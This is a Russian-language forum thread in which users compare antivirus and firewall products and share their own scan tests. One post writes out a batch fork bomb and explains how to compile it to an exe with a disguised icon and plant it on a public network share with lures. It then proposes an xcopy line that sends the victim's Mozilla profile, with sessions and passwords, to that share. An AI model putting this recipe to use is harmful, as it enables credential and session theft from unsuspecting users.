Тесты Антивирусных программ [Архив]

Slava

23.01.2012, 15:29

Я наконец то слез с Авиры, пробую сейчас фаер от Comodo (только фаер, целимком Comodo IS вызывал тормоза в системе, почему оставил только фаер с проактивной защитой) + IKARUS (http://safetygate.ru/index.php?topic=650.0)

что сказать тут, икарус забраковал у меня после авиры 7 файлов из игрового и софтового архива (т.е. к ним я и не обращался, при полном сканировании отсеялись), притом на три из них сам же и написал, что это не вирусы, но доступ к файлам все одно заблокировал ;) посмотрим как будет себя вести... пробный ключ всего на месяц, из глюков пока заметил, что иногда семерочная система безопасности ругается на отключенную антивирусную защиту, хотя утилита включена... отключил пока контроль за ней.

Комодо немного пришлось повозиться с настройкми, чтобы работал как мне нужно. При всем при этом UAC на системе не отключаю и все кроме меня на компьютере работают с ограниченными правами в специально созданном для этого профиле, браузеры при закрытии автоматически очищают кэш.

На досуге хочу рискнуть потестировать (http://safetygate.ru/index.php?topic=54.7245)

Last_king

23.01.2012, 19:15

Я наконец то слез с Авиры
А почему? Мне например авира очень нравится. Пока совсем не хочется менять ;)

Slava

23.01.2012, 19:28

Last_king, так тесты (http://forum.inmart.ua/showthread.php?p=225119#post225119)посмотрел, Авира пропускает много (http://virlab.pp.ua/blog/testing_anti-virus_2012/154.html)...

Динамические тесты авиры
Bh6ALTwdAlE
Динамические тесты икаруса
TbdztG9_Aw8
Динамические тесты комодо
Js_21IWStcs

у меня кстати через Comodo с пользовательскими настройками FireWallTest.exe не проходит ;)
117428

Jon

23.01.2012, 21:19

Slava, Я уже давненько юзаю Comodo`vskij фаер с проактивкой...очень нравится + NOD32 на данный момент (лицуха) А так наверное перейду после окончания ключика на Comodo Internet Security Premium 2012 .
yzDcK2wH3QQ
Тут более актуальный тест и версия посвежее.

Напиши потом если ещё что пощупаешь интересное.
P.S. Вообще почитав разные ресурсы и просмотрев, много тестов разнообразного антивирусного ПО можно сделать вывод что все проги практически одинаково справляются со своими обязанностями. И выбор антивируса для пользователя становится сугубо, делом вкуса и доверия вендору.

Slava

23.01.2012, 22:12

Jon, не скажи, с настройками по умолчанию многие сдают...

Jon

23.01.2012, 22:58

Slava, соглашусь, но даже с насройками по умолчанию они ведут себя одинаково
сдают...
:D
а кто настроит под себя , тот будет чуточку безопасней и увереней в выбраном продукте и в себе ;)

Slava

24.01.2012, 09:58

Jon, то, что Авира много пропускает, во многих тестах есть, Comodo Internet Security хорош, но у меня с ним система начала подтормаживать :( хочу сам потестировать различные варианты со своей системой (в виртуалке конечно ;)), но надо время выделить на это дело... собрать софт, вирусы, настроить виртуалку...

Last_king

24.01.2012, 13:48

Jon, то, что Авира много пропускает, во многих тестах есть
в других тестах есть, что другие антивирусы много пропускают.
в третьих, что авира слишком параноидальна и т.д. и т.п.
Приносили мне в конце прошлого года комп, на котором стоял именно Comodo Internet Security. Уж не знаю какие там стояли настройки, я даже разбираться не стал. Снес и поставил Авиру которая фри. Вирусов на компе было просто море :(
После авиры комп стал работать стабильно.
А вообще по мне так лучшая защита от вирусов в интернете - это дополнения файрфокса NoScript, Adblock Plus и WOT. А Авира разберется с тем, что осталось. Пока не убедили в необходимости менять :)

Slava

24.01.2012, 14:25

Last_king, от "умелого" пользователя не одна защита не спасет, везде есть кнопка разрешить... и конечно Comodo и IKARUS не из разряда средств для домохозяек "поставил и забыл"... как и упомянутый Вами NoScript... нужно и настроить и правильно на вопросы отвечать... я смотрю тесты пользователей с форумов, а не купленные статьи, хочется выбрать именно для себя сканер "того что осталось", который не будет тормозить систему и будет цеплять большее к-во вирей... поэтому и планирую самостоятельно со своими настройками натравить на различные решения кучу вирусов и посмотреть... что мне покажется удобным.

Добавлено через 18 минут
Я тут размышлял, и по мне так самое удобное в плане загрузки компа и безопасности - серфить в виртуальной машине (или песочнице), потом только файло накачанное, через сканер прогнать на рабочую машину... единственное с торрентами и скайпами не знаю как быть (наверное безопаснее отказаться от них в пользу онлайн сервисов), а так и комп не тормозится лишними мониторами и безопасность на уровне, виртуалку в любой момент откатил до начального состояния и работай с чистого листа. А на рабочей машине работать с ограниченными правами не из под админа, не ставить лишнего и левого софта, тестить новый софт так же в виртуалке, все файло поступающее из вне через сканер пропускать... Подходит для любой ос, главное фаером или роутером от внешки закрыться, и сканер хороший с проактивкой от вирусни найти. Потом на всякий пожарный сканер раз в месяц прогнать антивирусный и антишпионский и все...

Только все это слишком маниакально, мне нужно что то среднее...

Last_king

24.01.2012, 19:12

Я тут размышлял, и по мне так самое удобное в плане загрузки компа и безопасности - серфить в виртуальной машине (или песочнице),
Есть и более радикальные методы :) Например поставить второй осью какой-нибудь линукс и будет счастье ;) Вирусов под линукс едва ли с десяток наберется, т.о. серф становится совершенно безопасным. А ПО тестить под вайном ;)
Вот только заморочно все это...
Если честно, за 5 последних лет не могу вспомнить ни одного вируса найденного на своей машине (исключая зараженные флэшки других пользователей, которые тут же и лечились). За все это время мигрировал с DrWeb на Nod32 и дальше на Avira Internet Securiti. Миграция была вызвана тем, что сначала DrWeb, а потом Nod32 подвели пользователей, которым я эти антивирусы рекомендовал. Думается мне, что даже если бы не производил данной миграции, заражений на домашнем компе не было бы ;) К слову, у жены на ноуте поставил бесплатный Avast и перечисленные в посте выше плагины для лисы. Настраивал естественно сам, но не так тщательно. Вобщем за 2 года раза 3 чего-то она цепляла, но не сильно ;)

Slava

24.01.2012, 19:26

Last_king, понятно что серф в лине будет безопаснее, там без рута хрен что сделаешь, но если активно файло качать, а потом в винду грузиться... тоже самое получается все это файло нужно перепроверять, проще уж в виртуалке... я так как софтом занимался, частенько что то отлавливал и друзья тоскали компы с вирусней, все зависит от свободы и активности в интернете и работы с файлами, сейчас я тоже усмирил свой пыл и для софта и сайты для себя нашел, по другим особо не ползаю... так что у же и не помню что когда ловил, хотя в том году было такое, что браузеры не работали странички в html показывали, не смог убить, пришлось переставлять винду. Но не факт, что не захочется посерфить и что то новое почитать, кто знает откуда привалит...

можно, конечно рабочую машину до нельзя политиками обезопасить, чтобы как в линуксе без рута ни ни , но тогда траблы начинаются, с софтом и играми, т.к. много софта не приспособлено к безопасной работе, даже с UAC то не все проги научились нормально жить.

Не, предыдущая связка комодо и икарус не подходит, комп тормозит, снес нафиг, щас попробую AVG. А на выходных, если будет время начну тестировать, различные сканеры, выбирать...

Slava

24.01.2012, 19:44

Нифига себе, поставил AVG, а он первым делом, как твикер стал искать ошибки реестра и не нужные файлы
117440
во разводилы то ;) теперь еще AVG PC Tuneup надо скачать поглядеть...

Slava

24.01.2012, 19:50

Ха, это они BoostSpeed (http://forum.battlefox.ru/showthread.php?t=2223) под своим логотипом впаривают, прога один в один
117441.:: Скрытый текст<br />Вы должны войти под своим логином или зарегистрироваться и иметь 25 сообщение(ий) ::.

Slava

25.01.2012, 10:26

AVG мне не понравился, даже не знаю чем то ли рекламой, то ли еще чем, тем более он по ловле вирусов не лучше Авиры, а порой и хуже, панель управления менее приятна и мне показалась не удобной.

Буду пробовать Emsisoft Anti-Malware (http://www.emsisoft.com/en/software/antimalware/) + Online Armor Firewall (http://www.emsisoft.com/en/software/oa/), на антивирус есть месяц триала, а фаер заюзаю free версию.

вчера в виртуалке качнул архив со свежими вирусами около 1000 штук, так Emsisoft с распаковкой и сканированием лучше справился чем Avira Antivirus Free, AVG Free, Avast Free и даже лучше икаруса... Avira Free вообще почти ничего не ловит на лету, но сканер чутка получше AVG, Avast не плохо ловил, и сканер на уровне, но все они отдыхают в сравнении с Emsisoft Anti-Malware, вне всяких похвал, поудалял все мои распакованные архивы вирусни, притом многое ловит прямо на лету, еще при распаковке архива... постараюсь на выходных, это как то систематизировать и выложить в цифрах... COMODO не успел попробовать, но я его для себя отсек как тормоза.

еще я заметил, что ни один антивирус до конца не убивает шпионов, так что после сканирования файлов антивирусом не плохим решением будет еще прогнать Malwarebytes' Anti-Malware (http://forum.battlefox.ru/showthread.php?t=12112) он подчистит хвосты ;)

обзоры продукции Emisoft Апрель 11, 2011

установка на зараженный комп
KcmVN3xsUn4

установка, обзор интерфейса
1OLkKVr5vNA

динамический тест
4O9-z7u2Kks

источник (http://safetygate.ru/index.php?topic=175.0)

Last_king

25.01.2012, 23:11

Смотрим сюда: http://virlab.pp.ua/blog/testing_anti-virus_2012/152.html
И делаем вывод: А стоит ли уходить от Avira IS? ИМХО - нет.
А вот поправить настройки, стоящие по умолчанию - можно ;)

Slava

25.01.2012, 23:32

Last_king, заметьте, даже тут IKARUS в лидерах, а Emsisoft Anti-Malware - это Emsisoft + IKARUS, эх, нравится мне та штука... и процессы не тормозит и чего только не спрашивает ;)

Last_king

26.01.2012, 08:10

Last_king, заметьте, даже тут IKARUS в лидерах, а Emsisoft Anti-Malware - это Emsisoft + IKARUS, эх, нравится мне та штука... и процессы не тормозит и чего только не спрашивает
Да я верю, что новый антивирь хорош. И даже более того, он может быть чуть лучше Avira IS. Но мы знаем, что такое это чуть ;) Это может быть даже погрешностью во времени обновления вирусных сигнатур...
Будь Anti-Malware бесплатным, обязательно его попробовал бы. Но платить денюжку (даже по акции) пока я не уверен в том, что он того стоит.
Slava, пожалуйста продолжай тестирование и держи нас в курсе. Если к лету ты не разочаруешься в Anti-Malware, то возможно тогда я его попробую.
Пока же, меня приведенная выше таблица упокоила. А то начитался ваших постов и чуть не снес Авиру :)

Slava

26.01.2012, 08:13

Last_king, так ты про бесплатную авиру? она рядом не стоит, в тестах выше Avira Premium, бесплатная, как я уже говорил - как ручной сканер работает, она практически ничего не ловит на лету... это тоже самое как говорить, что DrWeb CureIt неплохой антивирус... я бесплатную никогда и не юзал, где то находил на оф.акциях ключи от секьюрити.

Last_king

26.01.2012, 08:40

Last_king, так ты про бесплатную авиру?
Нет, я про платную IS, на которую уже второй год акция 3 месяца проходит ;)
Было бы так на Anti-Malware, я бы поэкспериментировал ;)

Slava

26.01.2012, 09:03

Last_king, ясно, я и не уговариваю менять антивирус, тут дело каждого, просто я делюсь информацией и впечатлениями, сам так же на авире сидел пару лет... кончатся очередные 3 месяца, потестируй Anti-Malware, они 30 дней дают, так же у них тоже есть предложения как заработать ключ на халяву... за привлечения 1 пользователя на триал, лецензия продлевается на 1 месяц, если купят по твоей ссылке 6 месяцев.

Пока впечатления только положительные, могу с уверенностью сказать, что для меня это лучший антивирус из тех что я пробовал... единственное виндусовый помощник безопасности его за антивирус не считает, так же пришлось контроль за антивирусом отключить, но он в принципе и не нужен, Anti-Malware дает о себе знать, первый день конечно в режиме обучения провел, так что жена даже сказала что за параноика я поставил, что на ее любимый вконтакт 10 вопросов задал, запомнил несколько правил и успокоилась ;)

Я еще полное сканирование Anti-Malware не делал, интересно выципит он что нибудь на компе после Авиры, Икаруса и АВГ... уж очень зацепило сравнение, когда лично архив с вирями распаковывал...

Jon

26.01.2012, 21:04

Last_king,Slava, " На Дед Мороза надейся, а сам не плошай" !;)
Нас три человека в теме, озабоченных безопасностью своего компа.
Неужели ни кто больше не хочет поделится опытом и мнением?

Last_king

26.01.2012, 21:10

Нас три человека в теме, озабоченных безопасностью своего компа.
Неужели ни кто больше не хочет поделится опытом и мнением?
Думается мне, что мы трое кроме своих домашних компов еще и много чужих реанимируем. Причем чужие реанимируем гораздо чаще, чем ловим вирусы на своих :D

FuKakoi!

26.01.2012, 23:43

Осенью покупал ноут и думал прикупить к нему коробочку KIS, но отговорил товарищ, сказав, что встроенного брандмауэра+ МС Ессеншал хватит за глаза... В общем к этой связке претензий нет.

Slava

27.01.2012, 09:36

FuKakoi!, это тест? Сколько уже на такой системе? Пробовал из безопасного режима сканить другим сканером, к примеру DrWeb CureIt? я тоже так всем говорю, если винда лицуха, только при этом делаю настройки на отдельную ограниченную учетку и UAC не отключаю, юзеры работают с ограниченными правами, в том, что настроено и установлено... хоть вирусов и хватают, но многие ничего серьезного в системе из-за недостатка прав не могут поменять...

zloy_kaktus

27.01.2012, 10:55

у меня опыт большой в этом просто я молчун))
мне кажется.., легче человеку объяснить как вирусы попадают... и что это такое... процентов на 80 у него увеличится защита автоматом... правда это не защитит его от сетевых червей но тогда можно объяснить зачем нужно обновлять саму операционную систему... объяснить как определять нормальные сайты от скопление вирусов...
А так.., любой антивирус пропускает...
У меня тесть постоянно лазает в ХХХ и качают всякую фигню... примерно 2 раза в месяц из бекапа акроникса всего локального диска С (система) откатывал назад... так как комп заражался баннерами или просто вирусами... притом что ставил я разные антивирусы... пробовал даже KIS + родительский контроль + Anti-Malware... это не помогало... я поставил быстрый легкий антивирус NOD 32 без сетевой защиты... и как не странно на нем держалась система дольше... + я научил как восстанавливать систему из бекапа... и теперь он меня не тревожит...

Slava

27.01.2012, 12:00

что тут говорить, кому что удобно, но тема какой ЗащитнеГ больше ловит, все же интересная..

по Anti-Malware 2-й день полет нормальный, скан нашел на компе 5 небезопасных файлов, два из которых были кейгенами... три лежали в архиве варезным софтом - притом года так 2 (ни один антивирус до этого их не забраковал) , грохнул не раздумывая. Вчера столкнулся с тем, что не смог ничего с популярных файлообменников типа литтитбитов, оказывается прога даже их фильтрует, поставил в настройах для варезных файлообменников - спрашивать =) Вообще система много что контролирует, особенно в купе с Online Armor (http://forum.battlefox.ru/showthread.php?t=16418), но по мере серфинга и использования прог на все создаю правила... это немного напрягает,и в некоторых моментах прога кажется параноиком, хотя я в настройка даже и не пробовал включать Параноидальный режим (да, да , там такой еще есть :))...

zloy_kaktus

27.01.2012, 13:15

Справится ли антивирус с такой задачей...
логическая бамбой вот такой например

:battlefox
start cmd
goto battlefox

Если запихать в BAT и просто запустить... не думаю что какой то антивирус заблокирует это.., а ведь это приведет к зависанию компа
А если теперь bat перекомпилировать в exe (таких программ миллион, можно набрать в поисковике “bat to exe”) поменять иконку на иконку папку или на иконку setup (такие программы тоже есть)
Теперь идем на \\swap.sampo.ru\swap\incoming
кидаем .exe файл с иконкой папки называем «порно»
Или кидаем exe файл с иконкой sutup называем «взлом контакта»
А если вместо логической бомбы поставить туда например xcopy %APPDATA% \Mozilla \\swap.sampo.ru\swap\incoming (если даже пароли не сохранены то авторизированный сеансf сольется например авторизация на battle и можно будет продолжить пользоваться сеансом если заменить скопированную папку Mozilla на свою, а если сохранены пароли то настройки - защита - показать пароли)
Это я так по быстрому не задумываясь пишу… а так можно все более не заметнее сделать… все карты никто не расскрывает
минусы
У жертвы может быть включен режим когда видно окончание .exe (с этим можно справится)
Параноидальный режим антивируса может спросить запускать ли exe (с этим можно справится)
Сетевой сканер может не разрешить копирование… но раз пользователь уже знает о \\swap.sampo.ru\swap\incoming то скорее всего доверенная зона

Slava

27.01.2012, 14:16

zloy_kaktus, известный факт, что 100% защиты нет, все же тема немного о другом...я тут больше веду речь о сканировании вирусов и шпионов, какая из прог больше ловит и какая это умеет делать на лету, не дожидаясь ручного сканирования, конечно твой батник скорее всего не будет обнаружен, но его еще нужно запустить, да и многие батники на самом деле ловятся...

а ты сам что используешь? по какому принципу выбирал? Как тестил?

-вручную такой не скомпилированный бат меня не заставишь запустить, перед запуском необходимые батники открываю и смотрю, код, а скомпилированный скорре всего будет пойман... чисто из за самих упаковщиков...
- у меня данные мозилы не в %APPDATA%, кэш и куки чистятся, пароли самой лисой не сохраняются, а хранятся в зашифрованном виде под паролем на другом сервисе...
- расширения файлов видно
- взломы контактов и порно не страдаю
- если при серфинге защита предупредит (а Anti-Malware предупредит! ) о запуске проги, которую не запускал, заблокирую...
- проги теперь с варезников не качаю, только с оф сайтов, а с варезников беру только ключи... кейгены и кряки стараюсь не юзать, и если что предварительно юзаю в виртуалке...
- виндовсы ставлю только оригинальные, кряками не активирую...
.... и т.д и т.п.

фиха в том, что даже зная все нюансы без сканера не обойтись, никогда не знаешь, что и откуда прилетити конечно, я согласен с тем, что от опыта юзера и знаний некоторых моментов многое зависит...

zloy_kaktus

27.01.2012, 15:17

Почти всю жизнь использовал касперский потом KIS... но последние версии сильно топорят систему... искал другую антивирусную перепробовал почти все... остановился на NOD 32 сетевая защита по критериям производительность и нет проблем с лекарством... поставил и забыл... потом перешел на nod32 без сетевой защиты так как появился роутер... сейчас около года вообще нет антивируса... проверяю если есть подозрения CureIt... и так же стоит но не активен и выключен...
Malwarebytes' Anti-Malware при подозрении включаю защиту проверяю комп...
При этом всем я понимаю что когда-нибудь я попадусь точно...

Хочу заметить даже если иметь супер защищенный систему... то все равно вы не в безопасности... так как можно проснифеть сеть подключившись к маршрутизатору или быть соседом... и еще могут поломать ДНС сервер или его узлы... последнее что приходит на память... это когда при заходи на сайт касперского заходилось на другой сайт... посылались пакеты на узел перед сайтом касперского таким образом что узел слал на другой сайт хотя в браузере был вбит адрес касперского... если например перебросить на фишинговый сайт то можно увести учетные данные... хотя если использовать сервис в облаке который авторизует тебя на других сайтах, то можно защитится... а сколько было случаев когда ломался официальный сайт с софтом... и встраивали трояны в софт... и когда качаешь с оф. сайта то антивирусу разрешаешь выполнения при установки... или когда ты например играешь в фермера... а владелец сервиса продает программу злоумышленникам... и ты качая новую версию качаешь трояна...

Slava

27.01.2012, 16:11

zloy_kaktus, я тоже активно юзал каспера с оутпостом в комплекте, потом оутпост стал тормозить, стал юзать KIS c 7-й версии по 9-ю, сейчас это что то с чем-то, настройки спрятаны, какие то тормоза при обучении... куча не нужных информативных окон... да и сканер не из лучших... авиру заюзал, так как, пока не было роутера, она единственная смогла решить одну мою сетевую проблемку, точнее не она, а ее фаерволл... так и привык к ней, сейчас вдохновленный тестами сканеров, да и ключик на авиру кончился, очередные пол года пролетели... решил попробовать что то новое... посмотрим смогу ли я приручить этого "параноика" ;) но с процессами он хорошо работает ничего не тормозит...

отключения антивируса, как и вируса, прибавляет производительности компу... По сути антивирус в плане урона производительности, это тот же вирус, тоже за чем то следит, что то перехватывает, что то кудато шлет ;) правда при этом питается другими вирусами ;) конечно винду можно настроить на безопасную работу и без антивирусов, но производители прог и игр об этом не задумываются и их код очень часто требует административных привелегий... так что приходится искать золотую середину, если бы не эти игры, давно бы уже в Линукс убег...

Slava

28.01.2012, 21:11

Обещанные тесты сканеров различных антивирусов.

Условия: винда семерка домашняя расширенная 32-х битная, со всеми последними обновами, ничего не твикалось и не отключалось, UAC не отключал, устанавливал антивирус с настройками по умолчанию, скачивал свежие обновления баз, потом распаковывал архив с 270-ю вирусами, открывал папку с вирусами, смотрел сколько антивирус поймает, потом еще раз сканировал папку с распакованными вирусами сканером антивируса.

С ручным сканером у NOD32 какой то косяк, почему то он оставшиеся вирусы находит, но по умолчанию не удаляети не предлагает их удалить, так что хоть я и отнял найденные им вирусы, удалял я их практически вручную.

в DrWeb CureIt перед сканированием изменил настройку лечить инфицированные файлы, на удалять... некоторые антивирусы, наверное тоже пытались файлы лечить, так что погрешность небольшая присутствует, так как после сканера в папке с вирусами мог остаться уже вылеченный файл, но если во время тестирования выскакивали вопросы, что делать с файлами я жал удалять.

http://screen.battlefox.ru/data/573/216.jpghttp://screen.battlefox.ru/data/573/313.jpg

117487

Last_king

28.01.2012, 22:34

Вот это уже больше похоже на правду ;)
Avira порадовала однако ;)
Если Anti-Malware не приживется, то можно смело на нее возвращаться.

Slava

28.01.2012, 23:22

Last_king, на чью правду похоже? на эти тесты я пол дня потратил сегодня ;) и конечно это минимум анализа, всего лишь сканеры, без учета, сколько времени затратил тот или иной сканер и как себя вел в системе, сколько оперативы ел, как ее загружал, интерфейс, я не пробовал оставшиеся вирусы запускать и т.п.

Но даже по моим тестам Авира в реальном времени отловила всего 61% вирусов из архива оставив 79 вредоносных фалов прямо на рабочем столе, а ее бесплатный аналог всего половину, а как часто вы сканируете папки на вирусы вручную? Для меня левая табличка с эф. в реальном времени не менее значительна. Если емсисофт не приживется, можно же все одно оставить его бесплатную версию, не держать ее в автозапуске , а использовать для ручного сканирования, а для отлова в реальном времени юзать, к примеру ESET SS он на целых 3% впереди авиры ;) или если нет тормозов COMODO...

для пущей уверенности нужно будет как то продолжить тесты, пощупать поведение защиты при запуске вирусов, которые не попали под сканер и посмотреть при каком антивирусе система выживет ;) чтобы не терять кучу времени попробую для начала сравнить только авиру и емисофт...

Last_king

29.01.2012, 00:03

Если емисофт не приживется, можно же все одно оставить его бесплатную версию
Я об этом и говорю. К тому же бесплатная версия эмисофта спокойно живет одновременно с другим антивирусом (так пишут на форумах). Посему можно поставить основным антивирусом Авиру, а для дополнительного отлова зловредов продукт от эмисофт.
То о чем говорил я относилось в основном к наиболее распространенным антивирусным продуктам типа Нод32, касперыча и веба ;) Тут Авира себя показывает очень даже хорошо.

Jon

29.01.2012, 00:06

Slava, странно конечно, не могу сказать точно сколько я юзаю COMODO на работе(тестовой тачке,но больше полу года) но не разу не замечал тормозов в работе компа или самого продукта. Как проявлялось?
Спрашиваю не в оправдание продукта, хочется просто узнать.
P.S.И конфиг не особо бодрый там Прескот 3.06 ,2 гигтара ОЗУ, ну и винт сатовик(да ещё и с замазанными бэдами).

Emisoft интересный продукт, тоже наверное попробую поюзать на работе. А потом если что поставлю на свой PC.
Слав, если будет ещё что написать о Эми милости прошу рассказывать нам ... оки? )))

Slava

29.01.2012, 00:31

Jon, а тем и проявляются, что при установленном COMODO при запуске некоторых прог и установке новых, комп ведет себя ощутимо на глаз тормознее чем без него ;) с ним комп временами как бы подвисает, где с авирой или Anti-Malware этого не происходит... жена говорила, что у нее даже какие то приложения вконтакте тормознее работали... примерно так же себя и касперычи последние ведут. Не только от компа это зависит, еще и от активности юзера в сети и с различным софтом, может быть для рабочего офисного компа и сойдет, у нас на работе вообще др веб стоит, некоторые хвалят, а у нас офис удаленно от сервера стоит, так куча тормозов...

Esty

29.01.2012, 23:09

Попробовала Emsisoft Internet Security Pack: да, антивирус шустрый, тихий, незаметный. Лишь пару раз что-то сказал про подозрительные файлы, нашёл кейгены при полной проверке, которые так и не увидел MSE.
Насчёт их фаервола довольно-таки странный осадок остался: вроде бы и хорош (есть сканер реального времени, который показывает какие процессы/программы ползают в интернете и приблизительно где). Как и положено паникует на всё то, что ему неизвестно. А вот минус его - после его установки очень часто просто стала падать сеть, т.е. не открыть ни один сайт, упала скорость загрузки ОС, контекстное меню в трее в виде кроказабря из-за кодировки (может потому что у меня Win7 x64 EN).

Kletska

30.01.2012, 00:31

А вот минус его - после его установки очень часто просто стала падать сеть, т.е. не открыть ни один сайт...

Пожалуй соглашусь - у меня сайты порой раза со второго, третьего открываются.

Slava

30.01.2012, 10:35

Esty, Kletska, у меня нет крякозябр (у Вас случайно не английская ос с накатанным русским лангпаком?) и с сетью все в порядке, win7 x86 HP тырнет сампо, а на на некоторые сайты не фаер не пускает, а веб-защита антивируса, у него там веб контроль хитрый, по умолчанию все опасные сайты, включая многие варезные файлообменники, блокирует... я уже писал выше, что на Letitbit.net не мог попасть, поставил в настройках веб-защиты на Файло-обменники - Спрашивать, нужные добавляю в исключения. Фаер на сайты у меня вообще, вроде, не реагировал, на софт в основном, который в сеть лезет... может вы какую системную службу случайно заблочили и у прова проблемы были?

Добавлено через 1 час 28 минут
Если есть проблемы, можно отписаться в русской ветке форума поддержки (http://support.emsisoft.com/forum/62-russian-support-%D1%80%D1%83%D1%81%D1%81%D0%BA%D0%B0%D1%8F-%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D 0%B0/), вот есть темка по обрывам. (http://support.emsisoft.com/topic/7016-%D0%BE%D0%B1%D1%80%D1%8B%D0%B2%D0%B0%D0%B5%D1%82%D 1%81%D1%8F-%D0%B8%D0%BD%D0%B5%D1%82/)

Esty

30.01.2012, 11:51

Slava, полностью английская ОС, без лангпаков. И, нет, ничего не блокировала, всё стояло по умолчанию. Как только удалила - все сайты стали открываться без проблем, пока оставила только антивирус. Странная тогда у них веб-защита, не пускающая на msdn, microsoft, habr и т.д.

Slava

30.01.2012, 12:01

Esty, с кракозябрами у Вас трабла в том, то что ОС Английская, отпишитесь им, интересно узнать что ответят, наверное решит проблему старый добрый способ с подменой кодовых страниц 1252 на 1251, или наоборот трабла в том, что они у вас заменены уже. А насчет microsoft и habr у меня не блокировался, на msdn не пробовал, может при установке глюкнуло, что... там кратковременно при старте какой то обучатель включается, может на момент включения как то не правильно среагировал на эти сайты, в таких случаях советуют полное удаление проги с двумя перезагрузками и установку заново...

у меня фаер особых вопросов не вызвал, и единственный, кто из испытуемых, кроме конечно самого COMODO, который прошел CLT (http://personalfirewall.comodo.com/cltinfo.html) (комодовский тест фаера) на ура..

Esty

30.01.2012, 12:28

Slava, проблема не в ОС, а в софте, т.к. другие антивирусы и другие программы без кракозябр.

Slava

30.01.2012, 13:51

Esty, согласен, но по практике, я когда инглиш ОС ставил, часто сталкивался в русификаторах с кракозябрами... это проблема знакома многим линуксоидам, юникод не юникод и т.п., конечно это трабла софта, но в русской веросии ос ее нет.

Slava

11.02.2012, 18:20

Короче остановился я пока на связке Emsisoft Anti-Malware (http://forum.battlefox.ru/showthread.php?t=16417) + Comodo Firewall (http://forum.battlefox.ru/showthread.php?t=10783)... в антивирусе не нравится только веб контроль, уж очень он надоедливый и почему то не всегда правила запоминает.

Ах да, винда у меня теперь 64-х битная, в ней с 4-ю гигами памяти, в такой связке, никаких тормозов не замечено..:: Скрытый текст<br />Вы должны войти под своим логином или зарегистрироваться и иметь 25 сообщение(ий) ::.